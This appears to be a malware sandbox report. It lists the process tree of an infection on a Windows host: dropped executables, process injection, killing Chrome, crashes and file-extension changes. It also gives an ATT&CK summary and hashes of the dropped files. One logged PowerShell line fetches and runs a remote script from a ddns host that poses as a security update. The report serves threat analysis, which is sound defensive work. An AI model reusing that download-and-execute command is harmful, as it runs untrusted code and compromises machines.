C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6412 -s 491362⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 6412 -ip 64121⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 584 -p 47440 -ip 474401⤵
-
C:\Users\Admin\AppData\Local\Temp\699B.exeC:\Users\Admin\AppData\Local\Temp\699B.exe1⤵
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\AppData\Local\Temp\97B1.exeC:\Users\Admin\AppData\Local\Temp\97B1.exe1⤵
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 3504 -ip 35041⤵
-
C:\Users\Admin\AppData\Local\Temp\DBC0.exeC:\Users\Admin\AppData\Local\Temp\DBC0.exe1⤵
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\AppData\Local\Temp\542.exeC:\Users\Admin\AppData\Local\Temp\542.exe1⤵
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\999.exeC:\Users\Admin\AppData\Local\Temp\999.exe1⤵
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\D72.exeC:\Users\Admin\AppData\Local\Temp\D72.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\10CE.exeC:\Users\Admin\AppData\Local\Temp\10CE.exe1⤵
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"2⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\1498.exeC:\Users\Admin\AppData\Local\Temp\1498.exe1⤵
- Drops file in Program Files directory
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe2⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe3⤵
- Kills process with taskkill
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"2⤵
- Enumerates system info in registry
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0xfc,0x100,0x104,0x80,0x108,0x7ffe37024f50,0x7ffe37024f60,0x7ffe37024f703⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1692,13013436732799258998,7996001521992383487,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1708 /prefetch:23⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1692,13013436732799258998,7996001521992383487,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=1836 /prefetch:83⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1692,13013436732799258998,7996001521992383487,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2408 /prefetch:83⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1692,13013436732799258998,7996001521992383487,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2940 /prefetch:13⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1692,13013436732799258998,7996001521992383487,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2956 /prefetch:13⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1692,13013436732799258998,7996001521992383487,131072 --lang=en-US --extension-process --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2732 /prefetch:13⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1692,13013436732799258998,7996001521992383487,131072 --disable-gpu-compositing --lang=en-US --extension-process --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3924 /prefetch:13⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1692,13013436732799258998,7996001521992383487,131072 --disable-gpu-compositing --lang=en-US --extension-process --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3748 /prefetch:13⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1692,13013436732799258998,7996001521992383487,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4844 /prefetch:83⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1692,13013436732799258998,7996001521992383487,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4956 /prefetch:83⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1692,13013436732799258998,7996001521992383487,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5716 /prefetch:83⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1692,13013436732799258998,7996001521992383487,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4956 /prefetch:83⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1692,13013436732799258998,7996001521992383487,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5784 /prefetch:83⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1692,13013436732799258998,7996001521992383487,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5428 /prefetch:83⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1692,13013436732799258998,7996001521992383487,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5156 /prefetch:83⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1692,13013436732799258998,7996001521992383487,131072 --disable-gpu-compositing --lang=en-US --extension-process --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5732 /prefetch:13⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1692,13013436732799258998,7996001521992383487,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5100 /prefetch:83⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1692,13013436732799258998,7996001521992383487,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=SAAAAAAAAADoAAAwAAAAAAAAAAAAAAAAAABgAAAQAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=5480 /prefetch:23⤵
-
C:\Users\Admin\AppData\Local\Temp\2A05.exeC:\Users\Admin\AppData\Local\Temp\2A05.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\2D04.exeC:\Users\Admin\AppData\Local\Temp\2D04.exe1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nOp -c "iEx(New-Object Net.WEbclIent).DoWnLOadstRinG('http://microsoftdownload.ddns.net:8808/downloader/WinSecurityUpdate')"2⤵
- Blocklisted process makes network request
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵
- Suspicious behavior: MapViewOfSection
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵
-
C:\Windows\System32\CompPkgSrv.exeC:\Windows\System32\CompPkgSrv.exe -Embedding1⤵
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵
- Suspicious behavior: MapViewOfSection
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵
-
C:\Windows\windefender.exeC:\Windows\windefender.exe1⤵
- Modifies data under HKEY_USERS
-
C:\Users\Admin\AppData\Local\Temp\6200.exeC:\Users\Admin\AppData\Local\Temp\6200.exe1⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Local\Temp\6200.exe"C:\Users\Admin\AppData\Local\Temp\6200.exe" -h2⤵
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\db.dll",open1⤵
- Process spawned unexpected child process
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\db.dll",open2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 43840 -s 6083⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 43840 -ip 438401⤵
-
C:\Users\Admin\AppData\Local\Temp\9834.exeC:\Users\Admin\AppData\Local\Temp\9834.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\9834.exe"C:\Users\Admin\AppData\Local\Temp\9834.exe"2⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 3504 -ip 35041⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 3504 -ip 35041⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum1⤵
-
C:\Users\Admin\AppData\Local\Temp\DF40.exeC:\Users\Admin\AppData\Local\Temp\DF40.exe1⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Local\Temp\DF40.exe"C:\Users\Admin\AppData\Local\Temp\DF40.exe" -h2⤵
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\db.dll",open1⤵
- Process spawned unexpected child process
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\db.dll",open2⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 56972 -s 6003⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 56972 -ip 569721⤵
-
C:\Windows\system32\gpscript.exegpscript.exe /RefreshSystemParam1⤵
-
C:\Windows\system32\gpscript.exegpscript.exe /RefreshSystemParam1⤵
-
C:\Users\Admin\AppData\Local\Temp\C3D.exeC:\Users\Admin\AppData\Local\Temp\C3D.exe1⤵
- Checks SCSI registry key(s)
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 580 -p 3504 -ip 35041⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 3504 -ip 35041⤵
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 58388 -s 8882⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 588 -p 58388 -ip 583881⤵
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 576 -p 3504 -ip 35041⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 3504 -ip 35041⤵
-
C:\Users\Admin\AppData\Roaming\esbwjiuC:\Users\Admin\AppData\Roaming\esbwjiu1⤵
- Checks SCSI registry key(s)
-
C:\Users\Admin\AppData\Roaming\wsbwjiuC:\Users\Admin\AppData\Roaming\wsbwjiu1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 34532 -s 3402⤵
- Program crash
-
C:\Users\Admin\AppData\Roaming\ghbwjiuC:\Users\Admin\AppData\Roaming\ghbwjiu1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 30796 -s 3482⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 30796 -ip 307961⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 580 -p 34532 -ip 345321⤵
-
C:\Users\Admin\AppData\Local\e89aafb8-7fa0-495e-bfb1-85240d127cac\SESODZtkbfQUO4dyO2s608zh.exeC:\Users\Admin\AppData\Local\e89aafb8-7fa0-495e-bfb1-85240d127cac\SESODZtkbfQUO4dyO2s608zh.exe --Task1⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\e89aafb8-7fa0-495e-bfb1-85240d127cac\SESODZtkbfQUO4dyO2s608zh.exeC:\Users\Admin\AppData\Local\e89aafb8-7fa0-495e-bfb1-85240d127cac\SESODZtkbfQUO4dyO2s608zh.exe --Task2⤵
-
C:\Users\Admin\AppData\Roaming\esbwjiuC:\Users\Admin\AppData\Roaming\esbwjiu1⤵
- Checks SCSI registry key(s)
-
C:\Users\Admin\AppData\Roaming\wsbwjiuC:\Users\Admin\AppData\Roaming\wsbwjiu1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 9472 -s 3042⤵
- Program crash
-
C:\Users\Admin\AppData\Roaming\ghbwjiuC:\Users\Admin\AppData\Roaming\ghbwjiu1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 9480 -s 3042⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 9480 -ip 94801⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 9472 -ip 94721⤵
-
C:\Users\Admin\AppData\Local\e89aafb8-7fa0-495e-bfb1-85240d127cac\SESODZtkbfQUO4dyO2s608zh.exeC:\Users\Admin\AppData\Local\e89aafb8-7fa0-495e-bfb1-85240d127cac\SESODZtkbfQUO4dyO2s608zh.exe --Task1⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\e89aafb8-7fa0-495e-bfb1-85240d127cac\SESODZtkbfQUO4dyO2s608zh.exeC:\Users\Admin\AppData\Local\e89aafb8-7fa0-495e-bfb1-85240d127cac\SESODZtkbfQUO4dyO2s608zh.exe --Task2⤵
-
C:\Users\Admin\AppData\Local\e89aafb8-7fa0-495e-bfb1-85240d127cac\SESODZtkbfQUO4dyO2s608zh.exeC:\Users\Admin\AppData\Local\e89aafb8-7fa0-495e-bfb1-85240d127cac\SESODZtkbfQUO4dyO2s608zh.exe --Task1⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\e89aafb8-7fa0-495e-bfb1-85240d127cac\SESODZtkbfQUO4dyO2s608zh.exeC:\Users\Admin\AppData\Local\e89aafb8-7fa0-495e-bfb1-85240d127cac\SESODZtkbfQUO4dyO2s608zh.exe --Task2⤵
- Modifies extensions of user files
-
C:\Users\Admin\AppData\Roaming\esbwjiuC:\Users\Admin\AppData\Roaming\esbwjiu1⤵
- Checks SCSI registry key(s)
-
C:\Users\Admin\AppData\Roaming\wsbwjiuC:\Users\Admin\AppData\Roaming\wsbwjiu1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 11276 -s 3042⤵
- Program crash
-
C:\Users\Admin\AppData\Roaming\ghbwjiuC:\Users\Admin\AppData\Roaming\ghbwjiu1⤵
- Checks SCSI registry key(s)
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 11276 -ip 112761⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Persistence
Modify Existing Service
2Registry Run Keys / Startup Folder
1Scheduled Task
1Defense Evasion
Modify Registry
4Disabling Security Tools
1File Permissions Modification
1Scripting
1Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Mon2364153e7a62.exe.logFilesize
700B
MD5e5352797047ad2c91b83e933b24fbc4f
SHA19bf8ac99b6cbf7ce86ce69524c25e3df75b4d772
SHA256b4643874d42d232c55bfbb75c36da41809d0c9ba4b2a203049aa82950345325c
SHA512dd2fc1966c8b3c9511f14801d1ce8110d6bca276a58216b5eeb0a3cfbb0cc8137ea14efbf790e63736230141da456cbaaa4e5c66f2884d4cfe68f499476fd827
-
C:\Users\Admin\AppData\Local\Temp\09xU.exEFilesize
1.2MB
MD57c6b2dc2c253c2a6a3708605737aa9ae
SHA1cf4284f29f740b4925fb2902f7c3f234a5744718
SHA256b45c9de845522095bbfa55166b519b2be36a08cea688491b9f339e862e79c3ba
SHA51219579900d07912096641cc7381131ff6fcf60fffc99cdab23f7d8a577aa926bbf0e885a3a7869298bbfc0a05e276c1d5f45712812e4df6980e9554fc48162b07
-
C:\Users\Admin\AppData\Local\Temp\09xU.exEFilesize
1.2MB
MD57c6b2dc2c253c2a6a3708605737aa9ae
SHA1cf4284f29f740b4925fb2902f7c3f234a5744718
SHA256b45c9de845522095bbfa55166b519b2be36a08cea688491b9f339e862e79c3ba
SHA51219579900d07912096641cc7381131ff6fcf60fffc99cdab23f7d8a577aa926bbf0e885a3a7869298bbfc0a05e276c1d5f45712812e4df6980e9554fc48162b07
-
C:\Users\Admin\AppData\Local\Temp\20L2vNO.2Filesize
474KB
MD54bf3493517977a637789c23464a58e06
SHA1519b1fd3df0a243027c8cf4475e6b2cc19e1f1f4
SHA256ccf0f8d1770436e1cd6cdcfa72d79a791a995a2f11d22bdf2b1e9bfbdd6f4831
SHA5124d094e86e9c7d35231020d97fbcc7d0c2f748d1c22819d1d27dabbb262967800cc326911a7e5f674461d9932e244affe9a01fa9527f53248e5867490e0e09501
-
C:\Users\Admin\AppData\Local\Temp\7TcIneJp.0Filesize
126KB
MD56c83f0423cd52d999b9ad47b78ba0c6a
SHA11f32cbf5fdaca123d32012cbc8cb4165e1474a04
SHA2564d61a69e27c9a8982607ace09f0f507625f79050bdf7143c7fe0701bf1fab8ae
SHA512e3d1537f4b22ceadfef3b30216b63320b397a179ab9d5f1eb66f93811a2717ee1fb6222989f610acd4c33fae6078c3df510022b5748a4f1d88ebf08c12f9deec
-
C:\Users\Admin\AppData\Local\Temp\7zSC5F9D036\Mon23088eab157af.exeFilesize
402KB
MD506ee576f9fdc477c6a91f27e56339792
SHA14302b67c8546d128f3e0ab830df53652f36f4bb0
SHA256035373a454afd283da27ebf569ab355be7db470a1a30c3695e18c984b785e1f8
SHA512e5b337158905651e2740378615fcd9a8ba2b5e46f02c75be20c22e89b4cb40e8f1dfec1c5c1135f4d59114da9200a772f591622eddb865880b296321d80fb616
-
C:\Users\Admin\AppData\Local\Temp\7zSC5F9D036\Mon23088eab157af.exeFilesize
402KB
MD506ee576f9fdc477c6a91f27e56339792
SHA14302b67c8546d128f3e0ab830df53652f36f4bb0
SHA256035373a454afd283da27ebf569ab355be7db470a1a30c3695e18c984b785e1f8
SHA512e5b337158905651e2740378615fcd9a8ba2b5e46f02c75be20c22e89b4cb40e8f1dfec1c5c1135f4d59114da9200a772f591622eddb865880b296321d80fb616
-
C:\Users\Admin\AppData\Local\Temp\7zSC5F9D036\Mon2318d827d83a07bf.exeFilesize
1.2MB
MD57c6b2dc2c253c2a6a3708605737aa9ae
SHA1cf4284f29f740b4925fb2902f7c3f234a5744718
SHA256b45c9de845522095bbfa55166b519b2be36a08cea688491b9f339e862e79c3ba
SHA51219579900d07912096641cc7381131ff6fcf60fffc99cdab23f7d8a577aa926bbf0e885a3a7869298bbfc0a05e276c1d5f45712812e4df6980e9554fc48162b07
-
C:\Users\Admin\AppData\Local\Temp\7zSC5F9D036\Mon2318d827d83a07bf.exeFilesize
1.2MB
MD57c6b2dc2c253c2a6a3708605737aa9ae
SHA1cf4284f29f740b4925fb2902f7c3f234a5744718
SHA256b45c9de845522095bbfa55166b519b2be36a08cea688491b9f339e862e79c3ba
SHA51219579900d07912096641cc7381131ff6fcf60fffc99cdab23f7d8a577aa926bbf0e885a3a7869298bbfc0a05e276c1d5f45712812e4df6980e9554fc48162b07
-
C:\Users\Admin\AppData\Local\Temp\7zSC5F9D036\Mon2333eed5b683cf.exeFilesize
8KB
MD5dab421a33e79a56bc252523364f44abd
SHA11175ab285ebe8c6d47de5c73950b344d0a63dd14
SHA25644ab1292f660f663bc90122db12892764e6fe2f412532af91f5b7b0e4e344677
SHA5127d58d425614349a7f16cd89bdbabec7b9c46f262866c08155c5fefd4597f638d2a8893a923c1d0c953f77d24622b9ebf06d8fadf9197cc02a7459f7c1f3a3ee2
-
C:\Users\Admin\AppData\Local\Temp\7zSC5F9D036\Mon2333eed5b683cf.exeFilesize
8KB
MD5dab421a33e79a56bc252523364f44abd
SHA11175ab285ebe8c6d47de5c73950b344d0a63dd14
SHA25644ab1292f660f663bc90122db12892764e6fe2f412532af91f5b7b0e4e344677
SHA5127d58d425614349a7f16cd89bdbabec7b9c46f262866c08155c5fefd4597f638d2a8893a923c1d0c953f77d24622b9ebf06d8fadf9197cc02a7459f7c1f3a3ee2
-
C:\Users\Admin\AppData\Local\Temp\7zSC5F9D036\Mon233667d8bdfd05a68.exeFilesize
300KB
MD57816dea5dae1088395927238c31ef013
SHA18bf3afffd12cc14489cc4256c75bcc3f2a505076
SHA2560eb2ec72b5283cde68e9ba9fcba4e47bd7219b4f2b7108e4b407839921472535
SHA512e6fe7084ee70e1f3fdb5271203863e33da3d5b8771cdd2f74b9d0eb561633e7d0cdfda87c8f9ddbd110a889c6a0920a3c29fab6ddb9d88e00110f2032b16621e
-
C:\Users\Admin\AppData\Local\Temp\7zSC5F9D036\Mon233667d8bdfd05a68.exeFilesize
300KB
MD57816dea5dae1088395927238c31ef013
SHA18bf3afffd12cc14489cc4256c75bcc3f2a505076
SHA2560eb2ec72b5283cde68e9ba9fcba4e47bd7219b4f2b7108e4b407839921472535
SHA512e6fe7084ee70e1f3fdb5271203863e33da3d5b8771cdd2f74b9d0eb561633e7d0cdfda87c8f9ddbd110a889c6a0920a3c29fab6ddb9d88e00110f2032b16621e
-
C:\Users\Admin\AppData\Local\Temp\7zSC5F9D036\Mon2364153e7a62.exeFilesize
422KB
MD588accfefc0ed1812c77da4a0722ba25e
SHA14f033fb7e34044da2b68b42c2f03a3b04c0c3f87
SHA256975ae1e906a2f70e9db74c4af55bfdcb2c5dda1e7a75e62d7ff1b0742013671f
SHA512098cbccc6c6f4cbb1728e4df9a44944623bf92b281db250b866da633a01acf70d9600df288d9ae5502622b9a2f27ed9efbc6d80e5a8fd13b204f15bbb6a8bcc1
-
C:\Users\Admin\AppData\Local\Temp\7zSC5F9D036\Mon2364153e7a62.exeFilesize
422KB
MD588accfefc0ed1812c77da4a0722ba25e
SHA14f033fb7e34044da2b68b42c2f03a3b04c0c3f87
SHA256975ae1e906a2f70e9db74c4af55bfdcb2c5dda1e7a75e62d7ff1b0742013671f
SHA512098cbccc6c6f4cbb1728e4df9a44944623bf92b281db250b866da633a01acf70d9600df288d9ae5502622b9a2f27ed9efbc6d80e5a8fd13b204f15bbb6a8bcc1
-
C:\Users\Admin\AppData\Local\Temp\7zSC5F9D036\Mon2364153e7a62.exeFilesize
422KB
MD588accfefc0ed1812c77da4a0722ba25e
SHA14f033fb7e34044da2b68b42c2f03a3b04c0c3f87
SHA256975ae1e906a2f70e9db74c4af55bfdcb2c5dda1e7a75e62d7ff1b0742013671f
SHA512098cbccc6c6f4cbb1728e4df9a44944623bf92b281db250b866da633a01acf70d9600df288d9ae5502622b9a2f27ed9efbc6d80e5a8fd13b204f15bbb6a8bcc1
-
C:\Users\Admin\AppData\Local\Temp\7zSC5F9D036\Mon238458ef4a8bf072.exeFilesize
62KB
MD5d082843d4e999ea9bbf4d89ee0dc1886
SHA14e2117961f8dac71dde658a457fb6a56d5a6f1aa
SHA2560f3822efa9fa3fcb532a043df68175865eca68a2805b1415d0d89de69a49628b
SHA512b51811d489636b6266131452f7cb0bf294d855f1baaa078894051cd19169c2b3e4496e46026c2b2b375f979619e4f8d2f939f05fc9e8fc888a836c01586db2ca
-
C:\Users\Admin\AppData\Local\Temp\7zSC5F9D036\Mon238458ef4a8bf072.exeFilesize
62KB
MD5d082843d4e999ea9bbf4d89ee0dc1886
SHA14e2117961f8dac71dde658a457fb6a56d5a6f1aa
SHA2560f3822efa9fa3fcb532a043df68175865eca68a2805b1415d0d89de69a49628b
SHA512b51811d489636b6266131452f7cb0bf294d855f1baaa078894051cd19169c2b3e4496e46026c2b2b375f979619e4f8d2f939f05fc9e8fc888a836c01586db2ca
-
C:\Users\Admin\AppData\Local\Temp\7zSC5F9D036\Mon2391a8f2e1f6314.exeFilesize
89KB
MD537a1c118196892aa451573a142ea05d5
SHA14144c1a571a585fef847da516be8d89da4c8771e
SHA256a3befd523e1e2f4e6f8fce281963f5efb85fe54d85ba67746cc58823d479e92a
SHA512aac6321582dac5d82cbdb197c20370df3436cf884bea44cbc6d156fd6c4fa99340a3fa866862b83fb0866b31a1e4ebdd73c462972beeb299d4af95592c1d94db
-
